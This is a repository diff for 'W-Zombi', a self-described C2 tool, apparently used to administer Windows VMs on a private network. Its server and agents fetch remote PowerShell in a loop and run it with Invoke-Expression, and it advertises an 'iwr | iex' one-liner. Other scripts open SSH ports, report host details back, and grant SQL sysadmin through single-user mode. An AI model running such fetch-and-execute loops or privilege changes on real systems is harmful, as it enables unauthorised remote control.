||||
|
||||
# --- PASO 5: Verificar firewall SQL en sql-dasuten ---
|
||||
Log "PASO 5: Probando conectividad SQL..."
|
||||
$tcpTest = Test-NetConnection -ComputerName $SQL_SERVER -Port 1433 -WarningAction SilentlyContinue
|
||||
if ($tcpTest.TcpTestSucceeded) {
|
||||
Log "Conexion TCP a ${SQL_SERVER}:1433 OK"
|
||||
} else {
|
||||
Log "WARN: No se puede conectar a ${SQL_SERVER}:1433 — verificar firewall"
|
||||
}
|
||||
|
||||
# --- PASO 6: Probar conexion SQL con sqlcmd (si existe) ---
|
||||
$sqlcmd = Get-Command sqlcmd -ErrorAction SilentlyContinue
|
||||
if ($sqlcmd) {
|
||||
Log "PASO 6: Probando SQL con sqlcmd..."
|
||||
$result = sqlcmd -S $SQL_SERVER -E -Q "SELECT DB_NAME() AS db_actual; SELECT name FROM sys.databases WHERE name = '$SQL_DB'" -W 2>&1
|
||||
Log "SQL Result: $result"
|
||||
} else {
|
||||
Log "PASO 6: SKIP — sqlcmd no disponible (normal en Win10), probar con DasutenSQL.exe"
|
||||
}
|
||||
|
||||
# --- PASO 7: Crear acceso directo ---
|
||||
Log "PASO 7: Creando acceso directo en Escritorio..."
|
||||
$desktopPath = [Environment]::GetFolderPath('CommonDesktopDirectory')
|
||||
$shortcutPath = "$desktopPath\DasutenSQL.lnk"
|
||||
$WshShell = New-Object -ComObject WScript.Shell
|
||||
$shortcut = $WshShell.CreateShortcut($shortcutPath)
|
||||
$shortcut.TargetPath = "$DEST\Sistema\DasutenSQL.exe"
|
||||
$shortcut.WorkingDirectory = "$DEST\Sistema"
|
||||
$shortcut.Description = "Sistema DASUTEN"
|
||||
$shortcut.Save()
|
||||
Log "Acceso directo creado: $shortcutPath"
|
||||
|
||||
Log "=========================================="
|
||||
Log "DEPLOY SYSDASUTEN COMPLETADO"
|
||||
Log "Ejecutar desde: $DEST\Sistema\DasutenSQL.exe"
|
||||
Log "=========================================="
|
||||
@@ -0,0 +1,40 @@
|
||||
function Log-Msg {
|
||||
param([string]$Message)
|
||||
Write-Host $Message -ForegroundColor Cyan
|
||||
try {
|
||||
Invoke-RestMethod -Uri "http://10.0.10.8:8000/log" -Method Post -Body @{msg=$Message} -UseBasicParsing -ErrorAction SilentlyContinue | Out-Null
|
||||
} catch {}
|
||||
}
|
||||
|
||||
Log-Msg "=========================================================="
|
||||
Log-Msg "INSTALANDO Y HABILITANDO OPENSSH SERVER NATIVO"
|
||||
Log-Msg "=========================================================="
|
||||
try {
|
||||
$sshCheck = Get-WindowsCapability -Online | Where-Object Name -like 'OpenSSH.Server*'
|
||||
if ($sshCheck.State -ne 'Installed') {
|
||||
Log-Msg "Instalando caracteristica OpenSSH.Server (esto puede tomar un minuto)..."
|
||||
Add-WindowsCapability -Online -Name OpenSSH.Server~~~~0.0.1.0 | Out-Null
|
||||
} else {
|
||||
Log-Msg "OpenSSH.Server ya se encuentra instalado."
|
||||
}
|
||||
|
||||
Log-Msg "Configurando servicio sshd en Inicio Automatico..."
|
||||
Set-Service -Name sshd -StartupType 'Automatic'
|
||||
Start-Service sshd -ErrorAction SilentlyContinue
|
||||
|
||||
if (!(Get-NetFirewallRule -Name "OpenSSH-Server-In-TCP" -ErrorAction SilentlyContinue)) {
|
||||
Log-Msg "Abriendo puerto TCP 22 en el Firewall local..."
|
||||
New-NetFirewallRule -Name 'OpenSSH-Server-In-TCP' -DisplayName 'OpenSSH Server (sshd)' -Enabled True -Direction Inbound -Protocol TCP -Action Allow -LocalPort 22 | Out-Null
|
||||
}
|
||||
|
||||
$ip = (Get-NetIPAddress -AddressFamily IPv4 | Where-Object InterfaceAlias -notmatch 'Loopback').IPAddress
|
||||
Log-Msg "OpenSSH Server instalado y corriendo en el puerto 22."
|
||||
Log-Msg "Conectar via: ssh Administrador@$($ip[0])"
|
||||
} catch {
|
||||
Log-Msg "Fallo al instalar SSH: $_"
|
||||
}
|
||||
|
||||
Log-Msg "=========================================================="
|
||||
Log-Msg "OPERACION COMPLETADA. Ahora SSH esta disponible."
|
||||
Log-Msg "=========================================================="
|
||||
return
|
||||
@@ -0,0 +1,49 @@
|
||||
function Log-Msg {
|
||||
param([string]$Message)
|
||||
Write-Host $Message -ForegroundColor Cyan
|
||||
try {
|
||||
Invoke-RestMethod -Uri "http://10.0.10.8:8000/log" -Method Post -Body @{msg=$Message} -UseBasicParsing -ErrorAction SilentlyContinue | Out-Null
|
||||
} catch {}
|
||||
}
|
||||
|
||||
Log-Msg "=========================================================="
|
||||
Log-Msg "INSTALANDO OPENSSH (con fix TEMP)"
|
||||
Log-Msg "=========================================================="
|
||||
|
||||
try {
|
||||
# Fix TEMP: usar carpeta de sistema en vez de la del usuario
|
||||
$env:TEMP = "C:\Windows\Temp"
|
||||
$env:TMP = "C:\Windows\Temp"
|
||||
Log-Msg "TEMP redirigido a C:\Windows\Temp"
|
||||
|
||||
$cap = Get-WindowsCapability -Online | Where-Object Name -like 'OpenSSH.Server*'
|
||||
if ($cap.State -eq 'Installed') {
|
||||
Log-Msg "OpenSSH Server ya instalado."
|
||||
} else {
|
||||
Log-Msg "Instalando OpenSSH.Server..."
|
||||
Add-WindowsCapability -Online -Name $cap.Name
|
||||
Log-Msg "Instalado OK."
|
||||
}
|
||||
|
||||
Set-Service sshd -StartupType Automatic
|
||||
Start-Service sshd -ErrorAction SilentlyContinue
|
||||
Log-Msg "Servicio sshd configurado e iniciado."
|
||||
|
||||
# Puerto 7022
|
||||
$cfg = "C:\ProgramData\ssh\sshd_config"
|
||||
$lines = Get-Content $cfg | Where-Object { $_ -notmatch '^\s*#?\s*Port\s+\d+' }
|
||||
@("Port 7022") + $lines | Set-Content $cfg -Force
|
||||
New-NetFirewallRule -Name 'SSH-7022' -DisplayName 'SSH 7022' -Enabled True -Direction Inbound -Protocol TCP -Action Allow -LocalPort 7022 -ErrorAction SilentlyContinue | Out-Null
|
||||
|
||||
Stop-Service sshd -Force
|
||||
Start-Sleep -Seconds 2
|
||||
Start-Service sshd
|
||||
Log-Msg "OpenSSH configurado en puerto 7022"
|
||||
|
||||
} catch {
|
||||
Log-Msg "ERROR: $($_.Exception.Message)"
|
||||
}
|
||||
|
||||
Log-Msg "=========================================================="
|
||||
Log-Msg "OPERACION COMPLETADA"
|
||||
Log-Msg "=========================================================="
|
||||
@@ -0,0 +1,83 @@
|
||||
$ErrorActionPreference = "Continue"
|
||||
$logFile = "C:\ssh_install.log"
|
||||
|
||||
function Log($msg) {
|
||||
$ts = Get-Date -Format "HH:mm:ss"
|
||||
$line = "[$ts] $msg"
|
||||
Write-Host $line -ForegroundColor Cyan
|
||||
Add-Content -Path $logFile -Value $line
|
||||
try { (New-Object Net.WebClient).DownloadString("http://10.0.10.8:8000/log?msg=$msg") | Out-Null } catch {}
|
||||
}
|
||||
|
||||
Log "=========================================="
|
||||
Log "OPENSSH LEGACY INSTALLER (2008R2+)"
|
||||
Log "=========================================="
|
||||
|
||||
$sshDir = "C:\OpenSSH-Win64"
|
||||
$zipPath = "C:\OpenSSH-Win64.zip"
|
||||
$sshUrl = "http://10.0.10.8:8000/payloads/OpenSSH-Win64.zip"
|
||||
|
||||
try {
|
||||
if (Test-Path "$sshDir\sshd.exe") {
|
||||
Log "OpenSSH ya instalado en $sshDir"
|
||||
} else {
|
||||
Log "Paso 1: Descargando ZIP..."
|
||||
$wc = New-Object System.Net.WebClient
|
||||
$wc.DownloadFile($sshUrl, $zipPath)
|
||||
Log "Descarga OK ($zipPath)"
|
||||
|
||||
Log "Paso 2: Extrayendo ZIP..."
|
||||
$shell = New-Object -ComObject Shell.Application
|
||||
$zip = $shell.NameSpace($zipPath)
|
||||
$dest = $shell.NameSpace("C:\")
|
||||
$dest.CopyHere($zip.Items(), 0x14)
|
||||
Log "Extraido en $sshDir"
|
||||
}
|
||||
|
||||
Log "Paso 3: Instalando servicio sshd..."
|
||||
cd $sshDir
|
||||
powershell -ExecutionPolicy Bypass -File "$sshDir\install-sshd.ps1"
|
||||
Log "Servicio instalado"
|
||||
|
||||
Log "Paso 4: Generando host keys..."
|
||||
if (!(Test-Path "$sshDir\ssh_host_rsa_key")) {
|
||||
& "$sshDir\ssh-keygen.exe" -A
|
||||
Log "Host keys generadas"
|
||||
} else {
|
||||
Log "Host keys ya existen"
|
||||
}
|
||||
|
||||
Log "Paso 5: Configurando puerto 7022..."
|
||||
$cfg = "$sshDir\sshd_config"
|
||||
if (Test-Path "$sshDir\sshd_config_default") {
|
||||
Copy-Item "$sshDir\sshd_config_default" $cfg -Force
|
||||
}
|
||||
if (Test-Path $cfg) {
|
||||
$lines = Get-Content $cfg | Where-Object { $_ -notmatch '^\s*#?\s*Port\s+\d+' }
|
||||
$newContent = @("Port 7022") + $lines
|
||||
$newContent | Set-Content $cfg -Force
|
||||
} else {
|
||||
"Port 7022" | Set-Content $cfg
|
||||
}
|
||||
Log "Config: Port 7022"
|
||||
|
||||
Log "Paso 6: Firewall..."
|
||||
netsh advfirewall firewall add rule name="SSH-7022" dir=in action=allow protocol=TCP localport=7022
|
||||
Log "Firewall actualizado"
|
||||
|
||||
Log "Paso 7: Iniciando servicio..."
|
||||
Set-Service sshd -StartupType Automatic -ErrorAction SilentlyContinue
|
||||
Start-Service sshd -ErrorAction Stop
|
||||
Log "Servicio sshd INICIADO en puerto 7022"
|
||||
|
||||
} catch {
|
||||
Log "ERROR: $($_.Exception.Message)"
|
||||
Log "LINEA: $($_.InvocationInfo.ScriptLineNumber)"
|
||||
}
|
||||
|
||||
Log "=========================================="
|
||||
Log "FIN. Log guardado en $logFile"
|
||||
Log "=========================================="
|
||||
Write-Host ""
|
||||
Write-Host "Presiona ENTER para cerrar..." -ForegroundColor Yellow
|
||||
Read-Host
|
||||
@@ -0,0 +1,106 @@
|
||||
$ErrorActionPreference = "Continue"
|
||||
$env:TEMP = "C:\Windows\Temp"
|
||||
$env:TMP = "C:\Windows\Temp"
|
||||
|
||||
function Log($msg) {
|
||||
$ts = Get-Date -Format "HH:mm:ss"
|
||||
Write-Host "[$ts] $msg" -ForegroundColor Cyan
|
||||
try { Invoke-RestMethod -Uri "http://10.0.10.8:8000/log" -Method Post -Body @{msg="[$env:COMPUTERNAME] $msg"} -UseBasicParsing -ErrorAction SilentlyContinue | Out-Null } catch {}
|
||||
}
|
||||
|
||||
$hn = $env:COMPUTERNAME
|
||||
$os = (Get-WmiObject Win32_OperatingSystem).Caption
|
||||
$sshPort = 7022
|
||||
|
||||
Log "=========================================="
|
||||
Log "W-ZOMBI SETUP — $hn"
|
||||
Log "OS: $os"
|
||||
Log "=========================================="
|
||||
|
||||
# --- PASO 1: Detectar e instalar OpenSSH ---
|
||||
$sshInstalled = $false
|
||||
|
||||
# Verificar si sshd ya existe
|
||||
if (Get-Service sshd -ErrorAction SilentlyContinue) {
|
||||
Log "PASO 1: sshd ya existe."
|
||||
$sshInstalled = $true
|
||||
} elseif ($os -match "200[38]|Vista|XP") {
|
||||
# Legacy: Win32-OpenSSH manual
|
||||
Log "PASO 1: OS Legacy ($os) — instalando Win32-OpenSSH..."
|
||||
$zip = "C:\OpenSSH-Win64.zip"
|
||||
$dir = "C:\OpenSSH-Win64"
|
||||
try {
|
||||
(New-Object Net.WebClient).DownloadFile("http://10.0.10.8:8000/payloads/OpenSSH-Win64.zip", $zip)
|
||||
$shell = New-Object -ComObject Shell.Application
|
||||
$shell.NameSpace("C:\").CopyHere($shell.NameSpace($zip).Items(), 0x14)
|
||||
& "$dir\install-sshd.ps1" 2>&1 | Out-Null
|
||||
& "$dir\ssh-keygen.exe" -A 2>&1 | Out-Null
|
||||
Set-Service sshd -StartupType Automatic
|
||||
$sshInstalled = $true
|
||||
Log "Win32-OpenSSH instalado OK."
|
||||
} catch {
|
||||
Log "ERROR Legacy: $($_.Exception.Message)"
|
||||
}
|
||||
} else {
|
||||
# Moderno: Add-WindowsCapability (Win10/2016+)
|
||||
Log "PASO 1: OS Moderno — instalando via Add-WindowsCapability..."
|
||||
try {
|
||||
$cap = Get-WindowsCapability -Online | Where-Object Name -like 'OpenSSH.Server*'
|
||||
if ($cap.State -ne 'Installed') {
|
||||
Add-WindowsCapability -Online -Name $cap.Name | Out-Null
|
||||
}
|
||||
Set-Service sshd -StartupType Automatic
|
||||
Start-Service sshd -ErrorAction SilentlyContinue
|
||||
$sshInstalled = $true
|
||||
Log "OpenSSH Server instalado OK."
|
||||
} catch {
|
||||
Log "ERROR Moderno: $($_.Exception.Message)"
|
||||
}
|
||||
}
|
||||
|
||||
if (-not $sshInstalled) {
|
||||
Log "FALLO: No se pudo instalar SSH. Abortando."
|
||||
return
|
||||
}
|
||||
|
||||
# --- PASO 2: Configurar puerto 7022 ---
|
||||
Log "PASO 2: Configurando puerto $sshPort..."
|
||||
|
||||
$cfgPaths = @("C:\ProgramData\ssh\sshd_config", "C:\OpenSSH-Win64\sshd_config")
|
||||
$cfgPath = $cfgPaths | Where-Object { Test-Path $_ } | Select-Object -First 1
|
||||
|
||||
if ($cfgPath) {
|
||||
$lines = Get-Content $cfgPath | Where-Object { $_ -notmatch '^\s*#?\s*Port\s+\d+' }
|
||||
@("Port $sshPort") + $lines | Set-Content $cfgPath -Force
|
||||
Log "Config: $cfgPath -> Port $sshPort"
|
||||
} else {
|
||||
Log "WARN: No se encontro sshd_config"
|
||||
}
|
||||
|
||||
# --- PASO 3: Firewall ---
|
||||
Log "PASO 3: Firewall..."
|
||||
try {
|
||||
New-NetFirewallRule -Name "SSH-$sshPort" -DisplayName "SSH $sshPort" -Enabled True -Direction Inbound -Protocol TCP -Action Allow -LocalPort $sshPort -ErrorAction SilentlyContinue | Out-Null
|
||||
} catch {
|
||||
netsh advfirewall firewall add rule name="SSH-$sshPort" dir=in action=allow protocol=TCP localport=$sshPort 2>&1 | Out-Null
|
||||
}
|
||||
Log "Firewall: puerto $sshPort abierto"
|
||||
|
||||
# --- PASO 4: Reiniciar sshd ---
|
||||
Log "PASO 4: Reiniciando sshd..."
|
||||
Stop-Service sshd -Force -ErrorAction SilentlyContinue
|
||||
Start-Sleep -Seconds 2
|
||||
Start-Service sshd -ErrorAction SilentlyContinue
|
||||
Log "sshd reiniciado."
|
||||
|
||||
# --- PASO 5: Verificar ---
|
||||
$listening = netstat -an | Select-String ":$sshPort\s+.*LISTEN"
|
||||
if ($listening) {
|
||||
Log "VERIFICADO: $hn escuchando en puerto $sshPort"
|
||||
} else {
|
||||
Log "WARN: Puerto $sshPort no detectado en netstat"
|
||||
}
|
||||
|
||||
Log "=========================================="
|
||||
Log "SETUP COMPLETADO — $hn : $sshPort"
|
||||
Log "=========================================="
|
||||
@@ -0,0 +1,48 @@
|
||||
function Log-Msg {
|
||||
param([string]$Message)
|
||||
Write-Host $Message -ForegroundColor Cyan
|
||||
try {
|
||||
Invoke-RestMethod -Uri "http://10.0.10.8:8000/log" -Method Post -Body @{msg=$Message} -UseBasicParsing -ErrorAction SilentlyContinue | Out-Null
|
||||
} catch {}
|
||||
}
|
||||
|
||||
Log-Msg "=========================================================="
|
||||
Log-Msg "SONDA DE DIAGNOSTICO — RELEVAMIENTO DEL SISTEMA"
|
||||
Log-Msg "=========================================================="
|
||||
|
||||
Log-Msg "Hostname: $env:COMPUTERNAME"
|
||||
Log-Msg "OS: $((Get-CimInstance Win32_OperatingSystem).Caption)"
|
||||
Log-Msg "Arquitectura: $((Get-CimInstance Win32_OperatingSystem).OSArchitecture)"
|
||||
|
||||
# Red
|
||||
$ips = Get-NetIPAddress -AddressFamily IPv4 | Where-Object InterfaceAlias -notmatch 'Loopback'
|
||||
foreach ($ip in $ips) {
|
||||
Log-Msg "Red [$($ip.InterfaceAlias)]: $($ip.IPAddress)/$($ip.PrefixLength)"
|
||||
}
|
||||
|
||||
# Dominio
|
||||
try {
|
||||
$domain = (Get-CimInstance Win32_ComputerSystem).Domain
|
||||
$inDomain = (Get-CimInstance Win32_ComputerSystem).PartOfDomain
|
||||
Log-Msg "Dominio: $domain (Unido: $inDomain)"
|
||||
} catch {
|
||||
Log-Msg "Dominio: No disponible"
|
||||
}
|
||||
|
||||
# Servicios clave
|
||||
$servicios = @('sshd', 'MSSQLSERVER', 'NTDS', 'DNS')
|
||||
foreach ($svc in $servicios) {
|
||||
$s = Get-Service -Name $svc -ErrorAction SilentlyContinue
|
||||
if ($s) {
|
||||
Log-Msg "Servicio [$svc]: $($s.Status)"
|
||||
}
|
||||
}
|
||||
|
||||
# Firewall SSH
|
||||
$rule = Get-NetFirewallRule -Name "OpenSSH-Server-In-TCP" -ErrorAction SilentlyContinue
|
||||
Log-Msg "Firewall SSH (TCP 22): $(if ($rule) { 'Habilitado' } else { 'No configurado' })"
|
||||
|
||||
Log-Msg "=========================================================="
|
||||
Log-Msg "SONDA COMPLETADA."
|
||||
Log-Msg "=========================================================="
|
||||
exit
|
||||
@@ -0,0 +1,42 @@
|
||||
$ErrorActionPreference = "Continue"
|
||||
|
||||
function Log($msg) {
|
||||
$ts = Get-Date -Format "HH:mm:ss"
|
||||
Write-Host "[$ts] $msg" -ForegroundColor Cyan
|
||||
try { Invoke-RestMethod -Uri "http://10.0.10.8:8000/log" -Method Post -Body @{msg="[$env:COMPUTERNAME] $msg"} -UseBasicParsing -ErrorAction SilentlyContinue | Out-Null } catch {}
|
||||
}
|
||||
|
||||
Log "=========================================="
|
||||
Log "SQL SYSADMIN FIX — Agregando DASUTEN\admindasu"
|
||||
Log "=========================================="
|
||||
|
||||
# Paso 1: Parar SQL Server
|
||||
Log "PASO 1: Deteniendo MSSQLSERVER..."
|
||||
net stop MSSQLSERVER /y 2>&1 | Out-Null
|
||||
Start-Sleep -Seconds 3
|
||||
|
||||
# Paso 2: Iniciar en modo single-user
|
||||
Log "PASO 2: Iniciando en modo single-user..."
|
||||
net start MSSQLSERVER /m 2>&1 | Out-Null
|
||||
Start-Sleep -Seconds 5
|
||||
|
||||
# Paso 3: Agregar sysadmin
|
||||
Log "PASO 3: Agregando DASUTEN\admindasu como sysadmin..."
|
||||
$result = sqlcmd -S localhost -E -Q "ALTER SERVER ROLE sysadmin ADD MEMBER [DASUTEN\admindasu]; SELECT 'SYSADMIN_OK' AS resultado;" -W 2>&1
|
||||
Log "Resultado: $result"
|
||||
|
||||
# Paso 4: Reiniciar normal
|
||||
Log "PASO 4: Reiniciando SQL Server en modo normal..."
|
||||
net stop MSSQLSERVER /y 2>&1 | Out-Null
|
||||
Start-Sleep -Seconds 3
|
||||
net start MSSQLSERVER 2>&1 | Out-Null
|
||||
Start-Sleep -Seconds 5
|
||||
|
||||
# Paso 5: Verificar
|
||||
Log "PASO 5: Verificando acceso..."
|
||||
$check = sqlcmd -S localhost -E -Q "SELECT SYSTEM_USER AS usuario, IS_SRVROLEMEMBER('sysadmin') AS es_sysadmin" -W 2>&1
|
||||
Log "Verificacion: $check"
|
||||
|
||||
Log "=========================================="
|
||||
Log "SQL SYSADMIN FIX COMPLETADO"
|
||||
Log "=========================================="
|
||||
@@ -0,0 +1,46 @@
|
||||
function Log-Msg {
|
||||
param([string]$Message)
|
||||
Write-Host $Message -ForegroundColor Cyan
|
||||
try {
|
||||
Invoke-RestMethod -Uri "http://10.0.10.8:8000/log" -Method Post -Body @{msg=$Message} -UseBasicParsing -ErrorAction SilentlyContinue | Out-Null
|
||||
} catch {}
|
||||
}
|
||||
|
||||
Log-Msg "=========================================================="
|
||||
Log-Msg "CONFIGURANDO SSH EN PUERTO 7022"
|
||||
Log-Msg "=========================================================="
|
||||
|
||||
$cfg = "C:\ProgramData\ssh\sshd_config"
|
||||
|
||||
try {
|
||||
# Leer config, quitar cualquier linea Port anterior
|
||||
$lines = Get-Content $cfg | Where-Object { $_ -notmatch '^\s*#?\s*Port\s+\d+' }
|
||||
|
||||
# Agregar Port 7022 al inicio
|
||||
$lines = @("Port 7022") + $lines
|
||||
|
||||
# Escribir config limpia
|
||||
$lines | Set-Content $cfg -Force
|
||||
Log-Msg "sshd_config actualizado: Port 7022"
|
||||
|
||||
# Firewall: agregar 7022, quitar 22
|
||||
New-NetFirewallRule -Name 'SSH-7022' -DisplayName 'SSH 7022' -Enabled True -Direction Inbound -Protocol TCP -Action Allow -LocalPort 7022 -ErrorAction SilentlyContinue | Out-Null
|
||||
Remove-NetFirewallRule -Name 'OpenSSH-Server-In-TCP' -ErrorAction SilentlyContinue
|
||||
Log-Msg "Firewall actualizado: 7022 abierto, 22 cerrado"
|
||||
|
||||
# Reiniciar servicio
|
||||
Stop-Service sshd -Force -ErrorAction SilentlyContinue
|
||||
Start-Sleep -Seconds 2
|
||||
Start-Service sshd
|
||||
Log-Msg "Servicio sshd reiniciado OK"
|
||||
|
||||
$port = (Get-Content $cfg | Select-String "^Port").ToString().Trim()
|
||||
Log-Msg "Verificacion: $port"
|
||||
} catch {
|
||||
Log-Msg "ERROR: $_"
|
||||
}
|
||||
|
||||
Log-Msg "=========================================================="
|
||||
Log-Msg "OPERACION COMPLETADA"
|
||||
Log-Msg "=========================================================="
|
||||
return
|
||||
@@ -0,0 +1,38 @@
|
||||
@echo off
|
||||
chcp 65001 >nul 2>&1
|
||||
title W-ZOMBI Agent - Conectado a srv-ns8
|
||||
color 0A
|
||||
|
||||
echo ======================================================
|
||||
echo W-ZOMBI Agent — Esperando ordenes de srv-ns8
|
||||
echo ======================================================
|
||||
echo.
|
||||
echo Este agente se queda abierto y ejecuta lo que
|
||||
echo srv-ns8 le envie. NO cerrar esta ventana.
|
||||
echo.
|
||||
echo Servidor: http://10.0.10.8:8000
|
||||
echo ======================================================
|
||||
echo.
|
||||
|
||||
:LOOP
|
||||
echo [%TIME%] Consultando payload activo...
|
||||
|
||||
REM Descargar y ejecutar el payload activo via PowerShell
|
||||
powershell -ExecutionPolicy Bypass -Command ^
|
||||
"$ErrorActionPreference='Continue'; " ^
|
||||
"try { " ^
|
||||
" $script = (New-Object Net.WebClient).DownloadString('http://10.0.10.8:8000/payloads/activo.ps1'); " ^
|
||||
" if ($script -and $script.Trim() -ne '') { " ^
|
||||
" Write-Host '[ZOMBI] Ejecutando payload...' -ForegroundColor Green; " ^
|
||||
" Invoke-Expression $script " ^
|
||||
" } else { " ^
|
||||
" Write-Host '[ZOMBI] Sin payload pendiente.' -ForegroundColor DarkGray " ^
|
||||
" } " ^
|
||||
"} catch { " ^
|
||||
" Write-Host '[ZOMBI] Sin conexion a srv-ns8, reintentando...' -ForegroundColor Yellow " ^
|
||||
"}"
|
||||
|
||||
echo.
|
||||
echo [%TIME%] Esperando 15 segundos... (CTRL+C para salir)
|
||||
timeout /t 15 /nobreak >nul
|
||||
goto LOOP
|
||||
Executable
+147
@@ -0,0 +1,147 @@
|
||||
#!/usr/bin/env ruby
|
||||
# frozen_string_literal: true
|
||||
|
||||
# W-Zombi Servidor — Servidor HTTP de inyección lateral para VMs Windows
|
||||
# Uso: ruby servidor.rb [opciones]
|
||||
#
|
||||
# Sirve archivos del directorio payloads/ y recibe telemetría POST desde las VMs.
|
||||
# El archivo payloads/activo.ps1 es el que consumirá el loop C2 de la VM.
|
||||
|
||||
require 'webrick'
|
||||
require 'json'
|
||||
require 'fileutils'
|
||||
|
||||
TOOL_DIR = File.expand_path(__dir__)
|
||||
PAYLOADS = File.join(TOOL_DIR, 'payloads')
|
||||
LOG_FILE = File.join(TOOL_DIR, 'telemetria.log')
|
||||
PORT = (ARGV.find { |a| a.match?(/^\d+$/) } || 8000).to_i
|
||||
|
||||
# Colores ANSI
|
||||
C = { reset: "\e[0m", green: "\e[32m", cyan: "\e[36m", yellow: "\e[33m", red: "\e[31m", dim: "\e[2m" }
|
||||
|
||||
def banner
|
||||
puts "#{C[:green]}╔══════════════════════════════════════════════════╗#{C[:reset]}"
|
||||
puts "#{C[:green]}║ 🧟 W-ZOMBI Servidor — Inyección Lateral ║#{C[:reset]}"
|
||||
puts "#{C[:green]}╚══════════════════════════════════════════════════╝#{C[:reset]}"
|
||||
puts "#{C[:cyan]}Puerto: #{C[:yellow]}#{PORT}#{C[:reset]}"
|
||||
puts "#{C[:cyan]}Payloads: #{C[:yellow]}#{PAYLOADS}/#{C[:reset]}"
|
||||
puts "#{C[:cyan]}Telemetría:#{C[:yellow]}#{LOG_FILE}#{C[:reset]}"
|
||||
puts "#{C[:dim]}─────────────────────────────────────────────────────#{C[:reset]}"
|
||||
|
||||
# Listar payloads disponibles
|
||||
Dir.glob(File.join(PAYLOADS, '*.ps1')).sort.each do |f|
|
||||
name = File.basename(f)
|
||||
activo = name == 'activo.ps1' ? " #{C[:green]}◀ ACTIVO#{C[:reset]}" : ''
|
||||
puts " 📄 #{C[:cyan]}#{name}#{C[:reset]}#{activo}"
|
||||
end
|
||||
puts "#{C[:dim]}─────────────────────────────────────────────────────#{C[:reset]}"
|
||||
puts "#{C[:yellow]}En la VM (PowerShell Admin):#{C[:reset]}"
|
||||
puts " #{C[:green]}iwr 10.0.10.8:#{PORT}/zombi.ps1 -useb|iex#{C[:reset]}"
|
||||
puts "#{C[:dim]}─────────────────────────────────────────────────────#{C[:reset]}"
|
||||
puts ''
|
||||
end
|
||||
|
||||
def timestamp
|
||||
Time.now.strftime('%H:%M:%S')
|
||||
end
|
||||
|
||||
def log_telemetry(msg)
|
||||
line = "[#{Time.now.strftime('%Y-%m-%d %H:%M:%S')}] #{msg}"
|
||||
File.open(LOG_FILE, 'a') { |f| f.puts(line) }
|
||||
puts "#{C[:cyan]}[#{timestamp}] 📡 TELEMETRÍA:#{C[:reset]} #{msg}"
|
||||
end
|
||||
|
||||
# Crear directorio de payloads si no existe
|
||||
FileUtils.mkdir_p(PAYLOADS)
|
||||
|
||||
# Si no hay activo.ps1, crear uno vacío señalizador
|
||||
activo = File.join(PAYLOADS, 'activo.ps1')
|
||||
unless File.exist?(activo)
|
||||
File.write(activo, "Write-Host 'W-Zombi: Sin payload activo. La IA lo actualizara pronto.' -ForegroundColor Yellow\n")
|
||||
end
|
||||
|
||||
# Servidor HTTP
|
||||
server = WEBrick::HTTPServer.new(
|
||||
Port: PORT,
|
||||
Logger: WEBrick::Log.new('/dev/null'),
|
||||
AccessLog: []
|
||||
)
|
||||
|
||||
# Ruta principal: sirve el loader (zombi.ps1) dinámicamente
|
||||
server.mount_proc '/zombi.ps1' do |_req, res|
|
||||
# Genera un loader que apunta al payload activo
|
||||
loader = <<~PS1
|
||||
Write-Host "======================================================" -ForegroundColor Green
|
||||
Write-Host " ZOMBI C2 LOOP — Conectado a srv-ns8:#{PORT} " -ForegroundColor Green
|
||||
Write-Host "======================================================" -ForegroundColor Green
|
||||
Write-Host "Max 5 ciclos. CTRL+C para detener." -ForegroundColor DarkGray
|
||||
Write-Host ""
|
||||
|
||||
$maxCiclos = 5
|
||||
|
||||
for ($ciclo = 1; $ciclo -le $maxCiclos; $ciclo++) {
|
||||
Write-Host "[ZOMBI] Ciclo $ciclo/$maxCiclos" -ForegroundColor DarkGray
|
||||
try {
|
||||
$payload = Invoke-RestMethod -Uri "http://10.0.10.8:#{PORT}/payloads/activo.ps1" -UseBasicParsing -ErrorAction Stop
|
||||
if ($payload -and $payload.Trim() -ne "") {
|
||||
try {
|
||||
Invoke-Expression $payload
|
||||
} catch {
|
||||
Write-Host ">>> ERROR EN PAYLOAD <<<" -ForegroundColor Red
|
||||
Write-Host $_.Exception.Message -ForegroundColor Red
|
||||
}
|
||||
}
|
||||
} catch {
|
||||
Write-Host "[ZOMBI] Sin conexion al servidor." -ForegroundColor Red
|
||||
}
|
||||
|
||||
if ($ciclo -lt $maxCiclos) {
|
||||
for ($i = 10; $i -gt 0; $i--) {
|
||||
Write-Host -NoNewline "`r[ZOMBI] Siguiente ciclo en $i seg "
|
||||
if ([console]::KeyAvailable) {
|
||||
$null = $Host.UI.RawUI.ReadKey("NoEcho,IncludeKeyDown")
|
||||
Write-Host "`n[ZOMBI] Detenido por usuario." -ForegroundColor Yellow
|
||||
return
|
||||
}
|
||||
Start-Sleep -Seconds 1
|
||||
}
|
||||
Write-Host -NoNewline "`r `r"
|
||||
}
|
||||
}
|
||||
|
||||
Write-Host ""
|
||||
Write-Host "======================================================" -ForegroundColor Yellow
|
||||
Write-Host " ZOMBI: $maxCiclos ciclos completados. Auto-detenido." -ForegroundColor Yellow
|
||||
Write-Host "======================================================" -ForegroundColor Yellow
|
||||
PS1
|
||||
res['Content-Type'] = 'text/plain'
|
||||
res.body = loader
|
||||
puts "#{C[:green]}[#{timestamp}] 🧟 Loader descargado por VM#{C[:reset]}"
|
||||
end
|
||||
|
||||
# Servir payloads estáticos
|
||||
server.mount('/payloads', WEBrick::HTTPServlet::FileHandler, PAYLOADS)
|
||||
|
||||
# Endpoint de telemetría (POST /log)
|
||||
server.mount_proc '/log' do |req, res|
|
||||
if req.request_method == 'POST'
|
||||
body = req.body || ''
|
||||
msg = if body.include?('=')
|
||||
URI.decode_www_form(body).to_h['msg'] || body
|
||||
else
|
||||
body
|
||||
end
|
||||
log_telemetry(msg) unless msg.strip.empty?
|
||||
end
|
||||
res['Content-Type'] = 'text/plain'
|
||||
res.body = 'OK'
|
||||
end
|
||||
|
||||
# Señal de parada limpia
|
||||
trap('INT') do
|
||||
puts "\n#{C[:yellow]}[#{timestamp}] Servidor detenido.#{C[:reset]}"
|
||||
server.shutdown
|
||||
end
|
||||
|
||||
banner
|
||||
server.start
|
||||
Reference in New Issue
Block a user